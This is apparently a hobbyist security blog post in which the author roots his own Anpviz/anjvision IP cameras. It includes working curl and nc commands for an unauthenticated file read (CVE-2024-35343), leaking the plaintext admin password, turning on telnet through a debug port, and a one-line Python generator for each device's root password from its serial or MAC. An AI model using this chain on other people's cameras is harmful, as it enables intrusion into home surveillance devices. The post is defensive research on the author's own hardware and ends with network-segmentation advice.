The Camera That Served Me Its Own Firmware
2026-10-01
Around 2020 I bought a pair of cheap 8MP PoE dome cameras off AliExpress. The listing called
them Anpviz, the web interface thinks it is Hikvision, and the sticker says
YM800N-NM223N. They have mostly worked fine for five years, give or take the
occasional reboot when one wedges itself. They live on an isolated surveillance VLAN with no
route to the internet, which, foreshadowing, turns out to be the single most important
security decision anybody involved with these cameras ever made, and I made it by accident
because I did not trust them.
Recently I decided to do the responsible thing and update their firmware. I also wanted to pull the firmware apart in binwalk, because that is how I relax. So I went looking for a download. I looked hard. I looked on the Anpviz site, on the reseller pages, on the forums where people trade this stuff, on the Chinese file lockers, everywhere. There is no firmware. For this entire family of cameras, the firmware simply is not published anywhere a human can reach it. The forums are full of people asking for it and nobody ever answering.
I spent an embarrassing amount of time on this before realising I was asking the wrong entity. I did not need to find the firmware on the internet. The camera had a copy, and the camera, as it turns out, is extremely generous.
A camera is just a very trusting file server
While searching I had turned up a cluster of CVEs for this platform, the useful one being
CVE-2024-35343, documented beautifully
in Will Gu's writeup. The
short version is that the web server has an endpoint, /playback/, which treats
everything after it as a file path and sends you the file. No authentication. None. You ask,
it reads, you receive.
$ curl http://camera/playback/etc/passwd root:7HtOdqkM79PP2:0:0:root:/root:/bin/sh bin:*:1:1:bin:/bin: ...
That is the documented attack: leak the password file. But sit with the primitive for a
second, because it is much larger than it looks. It is not a "download the config" bug. It is
fopen() on an arbitrary absolute path, as root, exposed to anyone who can reach
port 80. The interesting files on an embedded Linux box are not in /etc. They are
in /proc and /dev.
$ curl http://camera/playback/proc/mtd dev: size erasesize name mtd0: 00020000 00010000 "BOOT" mtd1: 00200000 00010000 "KERNEL" mtd2: 00b00000 00010000 "SYSTEM" mtd3: 00020000 00010000 "UBOOT" mtd4: 000a0000 00010000 "DATA" mtd5: 00220000 00010000 "OEM"
There is the entire flash layout, handed over on request. And if the server will
fopen() any path, it will fopen() the raw flash block devices too.
The only question was whether it would cope with a block device reporting a size of zero, or
whether it would honestly read to end-of-file. It reads to end-of-file.
$ for i in 0 1 2 3 4 5; do
curl -s http://camera/playback/dev/mtdblock$i -o mtd$i.bin
done
Sixteen megabytes later I had the complete flash contents of a camera that no vendor on earth
will give you the firmware for. The first four bytes of the kernel partition are
27 05 19 56, the U-Boot image magic, which is the moment I knew it had worked and
started laughing. I had spent days hunting a file that the device will simply read out to you
if you phrase the request as /playback/dev/mtdblock1.
What fell out
binwalk and unsquashfs did the rest. The kernel is an LZMA uImage,
Linux 4.9.84 for ARM. The root filesystem is squashfs with xz compression. The two
DATA and OEM partitions are JFFS2, holding per-unit configuration.
Build dates on the images match the version string the web UI reports exactly, so this is the
genuine running firmware, not some adjacent build.
The hardware is a SigmaStar SSC33x, the Infinity6 class of budget camera SoC that is under the
hood of an enormous fraction of the cheap IP cameras on the market. You can tell from the
libmi_* libraries (libmi_venc, libmi_isp_pretzel) and
the Cortex-A7 reporting Hardware : SStar Soc. The real OEM, visible all over the
binaries, is a company called anjvision. "Anpviz" is a brand sticker. "Hikvision" is the web
interface cosplaying as something more expensive than it is.
The application lives in /opt/ch: a process manager that spawns
mainctrl, a web server, an RTSP server, a Hikvision-protocol server, and a small
cloud of peer-to-peer phone-home daemons named danale_server,
goolink_server, eyeplus_server and tutk_server. Hold
that thought, we will come back to who they call.
The admin password, preserved in cleartext for your convenience
One of the CVEs in this family, CVE-2024-35344,
is about a hardcoded AES key baked into libtools.so, used to encrypt the device
configuration. I spent a little while getting ready to decrypt the config with the recovered
key, which was a waste of time, because on this firmware the config is not encrypted. The main
configuration file is served, unauthenticated, as plain XML:
$ curl http://camera/config.xml ... <Account Username="admin" Password="123456" Group="Administrator" Status="Enable" /> ...
The administrator password is stored in plaintext and handed to anybody who asks. There is no decryption step because there is nothing to decrypt. The threat model where an attacker needs the secret AES key assumes a level of effort the camera declines to require of them.
I should take my medicine here. The password you can see above is the real one from my own
camera, and it is 123456 because in five years I never changed it from the
factory default. I bought these to watch my property and I protected them with the password
that is first on every credential-stuffing list in existence. The camera's security is a
disgrace, and so, it turns out, is mine. We deserve each other.
Turning on a door that was already unlocked
Plaintext admin access over the web is bad, but it is still just the web application. I wanted a shell. The firmware has telnet, but it is commented out of the boot scripts, so port 23 is closed. There is, however, a debug server, and you turn it on with a single authenticated request. Authenticated in the sense that it wants the admin password, which, as we have established, is sitting in a file it will also hand you.
$ curl "http://camera/cgi-bin/console.cgi?enable=1&username=admin&password=123456" ok
That opens a command server on TCP 9999, bound to 0.0.0.0, no further
authentication. You connect, you type help, and it cheerfully prints its entire
command table, internal addresses and all:
$ nc camera 9999
help
{DBG, P} Help :0x11dc9
{DBG, P} slog :0x1178d
{DBG, P} slogSetMask :0x1178d
{DBG, P} slogGetMask :0x11c41
{DBG, P} slogPrintHead :0x11779
{DBG, P} slogHelp :0x11c69
{DBG, P} slogOpenCom :0x11999
{DBG, P} slogCloseCom :0x119cd
{DBG, P} reboot :0x112f8
{DBG, P} showtime :0x11d39
{DBG, P} showsize :0x11120
{DBG, P} isplog :0x1185d
{DBG, P} VolLog :0x11879
{DBG, P} OpenFtp :0x118b9
{DBG, P} telnet :0x11895
{DBG, P} Audio :0x11959
{DBG, P} ShowIsp :0x118d5
{DBG, P} iqserver :0x11a01
{DBG, P} GoolinkLog :0x118f1
=========================================================
Fourth from the bottom, sandwiched between the audio tools and the ISP logger, is
telnet. So you ask the camera to start telnet, and it obliges:
$ printf 'telnet\n' | nc camera 9999
Port 23 is now open. The camera has, on request, switched on its own remote shell. All that stands between an attacker and a root prompt now is the Linux root password, which brings us to the one genuinely hard part of this entire exercise, and the part I enjoyed most.
The uncrackable password
Remember the password hash from the very first command, 7HtOdqkM79PP2? That is
the live root password, and it is not the admin password. The web app and the Linux login use
entirely separate credentials. So 123456 gets you the web UI, and gets you telnet
switched on, but it does not get you in.
There are actually two root hashes on the box. There is a factory one in
/etc/passwd_sys, an md5crypt hash of the form
$1$yFuJ6yns$33Bk0I91Ji0QMujkR/DPi1, which is shared across the entire camera
family and is famous. It appears in the
canonical gist of HiSilicon and OEM camera root passwords, where it has sat, uncracked, for
years. The gist comments include someone reporting that they pointed a GPU at it, concluded it
would take years to brute an eight character password, and gave up. So: a shared factory
secret, out in the open, that the entire security community has collectively failed to crack.
But that is not even the password that matters, because the live /etc/passwd
holds a different hash, an old-fashioned DES crypt, and it is different on each of my
two cameras:
camera A -> 7HtOdqkM79PP2 camera B -> ajSThSFqoQs42
Per-device root passwords. That is actually the first competent security decision I have encountered on this platform. I threw the obvious things at it. It is not a default. It is not any of eighty common camera and IoT credentials. It is not in rockyou; I ran all fourteen million entries through DES crypt and got nothing. It is not a slice of the MAC or the serial number. By every measure I had, this was the one lock on the camera that was doing its job, and cracking it looked like exactly the GPU-farm proposition that defeated the gist commenter.
And then I noticed the thing that turns the whole story around. The hash is different on each camera, but it is not stored anywhere on the flash. I searched every partition. It is generated at runtime. A per-device password that is computed fresh on each boot is not a cracking problem. It is a reverse-engineering problem, and the generator was sitting in the firmware I had just extracted from the device itself.
The uncrackable password is one line of Python
The password is set by mainctrl, so I pulled it into Ghidra. I had, around the
same time, installed qemu-user-static on the theory that I would need to emulate
the ARM code to work out the config encryption. I needed it for neither thing: the config was
plaintext, and the generator turned out to be short enough to just read. The 477 megabytes of
qemu remain installed, a monument to a plan that was unnecessary twice over.
The function is symbol-stripped, but it builds a shell command and runs it, and the giveaway was a string fragment sitting in it:
%s" | passwd root
It computes a plaintext password, then pipes it into busybox passwd, which does
the actual DES hashing. That is why nothing in the firmware imports crypt(); the
crypto is busybox's, called from a shell pipe. Right next to that fragment in the binary were
the constants it uses: the strings SN=, MAC=, ANJVISION,
a %s%s concatenation format, and two suspicious eight-character blobs,
jzqweras and _LE?6uV1.
The two blobs are a red herring for my cameras; they are hardcoded fallback passwords for
other device models, selected by a device-type check. My model takes the other branch.
On that branch, mainctrl concatenates the string ANJVISION with the
device serial number, runs that through MD5 via a library function that emits uppercase hex,
and takes the last eight characters. That is the password. The entire "uncrackable" per-device
secret is this:
import hashlib
def root_password(sn):
return hashlib.md5(("ANJVISION" + sn).encode()).hexdigest().upper()[-8:]
The reason brute force and rockyou both failed is a genuinely nice piece of accidental
misdirection. busybox passwd picks a random two-character salt each time
it hashes, so the stored hash looks unique and unrelated to anything, which is exactly what you
would expect from a strong secret. But the salt is on the hash, not on the password. The
plaintext is completely deterministic. It was never a question of how much GPU you owned. It
was a question of reading eight hundred bytes of ARM.
It verifies against both cameras, and against their hashes with their respective random salts:
camera A SN=EF000000006097FA -> 8F58D76E crypt vs 7HtOdqkM79PP2 = MATCH camera B SN=EF0000000060987E -> 9245CB19 crypt vs ajSThSFqoQs42 = MATCH
And it works. Both cameras, logged in over the telnet I switched on earlier, with passwords I derived from a one-line function:
$ telnet camera IPNC login: root Password: 8F58D76E ~ # id uid=0(root) gid=0(root) groups=0(root) ~ # uname -a Linux IPNC 4.9.84 #10 PREEMPT Fri Dec 13 17:45:41 CST 2019 armv7l GNU/Linux
There is one more small gift. The serial number itself is derivable from the MAC address,
which the camera will also give you without authentication, from
/getmacaddr_eth0.cgi. The serial is just EF00000000 followed by the
last three bytes of the MAC. So the full chain, from a cold start knowing only an IP address,
is: read the MAC, compute the serial, compute the root password, enable the debug server with
the plaintext admin password, tell the debug server to start telnet, and log in as root. No
cracking at any step. The hardest cryptographic operation involved is an MD5.
The guest list
With root, the last question was the one that actually matters for a camera pointed at my house: who does it talk to? I did not need to decrypt anything to answer it. The cloud endpoints are hardcoded in the phone-home daemons as plain strings:
conn-policy.danaleplatform.com video-policy.danaleplatform.com dns-eu.ictun.com dns-hk.ictun.com dns-us1.ictun.com dns-sz.ictun.com hb.icamra.com 114.215.195.153 (Alibaba Cloud) 183.12.64.59 (China Telecom, Shenzhen) 119.29.29.29 (Tencent public DNS)
This is the Danale peer-to-peer cloud, a Chinese service whose entire job is to punch a tunnel out from the camera to a relay so that a phone app can reach the camera from anywhere, past your firewall, without you configuring anything. That convenience is also the exposure: the relay, and anyone who can talk to it with your device identity, is a path back to a camera inside your house. Stack that on top of an unauthenticated file read, a plaintext admin password, and a root password that is one MD5 away from public, and you have a device whose security posture is best described as a formality.
The part where none of this can be fixed
Here is the punchline to the thing I set out to do in the first place. I wanted to update the firmware. There is no update. There is no newer firmware to be found, and the one sibling version that does exist in the CVE databases, 3.2.2.2, is explicitly within the vulnerable range anyway. You cannot patch your way out of this, because the patch does not exist and would not help if it did. The vendor is not going to fix a five-year-old AliExpress camera.
So the only real mitigation is the boring one, and it is the one thing in this entire story that was done correctly: put these cameras on a VLAN with no route to the internet, and never let them reach that Danale cloud. Every single finding here, the file read, the plaintext password, the switched-on telnet, the computable root login, the phone-home, all of it dies quietly at the network boundary. My cameras are riddled with critical vulnerabilities and are also, in practice, fine, because five years ago I did not trust them an inch. Occasionally paranoia is just good design with bad manners.
If you run anything from this family, assume it is fully compromised the moment it can reach a network you do not control, and segment it accordingly. Do not rely on changing the admin password, and certainly do not rely on the root password being secret, because it is a function of the MAC address printed on the sticker.
Artifacts
The firmware I could not find anywhere, extracted from the camera over the file-read bug, and
the root password generator. The firmware image is a straight concatenation of the six flash
partitions; feed it to binwalk. The DATA and OEM
partitions in it are per-unit, so treat any identifiers in there as belonging to one specific
camera of mine, not to the model.
Download anpviz_rootpw.py
Usage is anpviz_rootpw.py <SERIAL>, or anpviz_rootpw.py --mac
<MAC> if you only have the address the camera leaks, or --test to
verify it against the two hashes above.
Credit and references
The file-read primitive and the surrounding family of bugs are not my discovery; I rebuilt them from my own hardware after reading the existing work.
- CVE-2024-35343, the unauthenticated arbitrary file read, and its siblings 35341 (config download), 35342 (unauthenticated settings write) and 35344 (hardcoded AES key).
- Will Gu's Anpviz writeup, which documents the exploit chain clearly and is where I started.
- gabonator's gist of OEM camera root passwords, home of the shared factory hash that nobody has cracked.
- The anjvision-cve-2026 research, which independently catalogues the weak per-device DES root hash as one of its findings. I derived the generator here from my own two cameras before reading theirs.
I went looking for a firmware update and came back with root on two cameras, a one-line password oracle for an entire product family, and a renewed appreciation for a VLAN I set up in 2020 and then forgot about. The best security feature on these cameras is a piece of network configuration that is not on the cameras.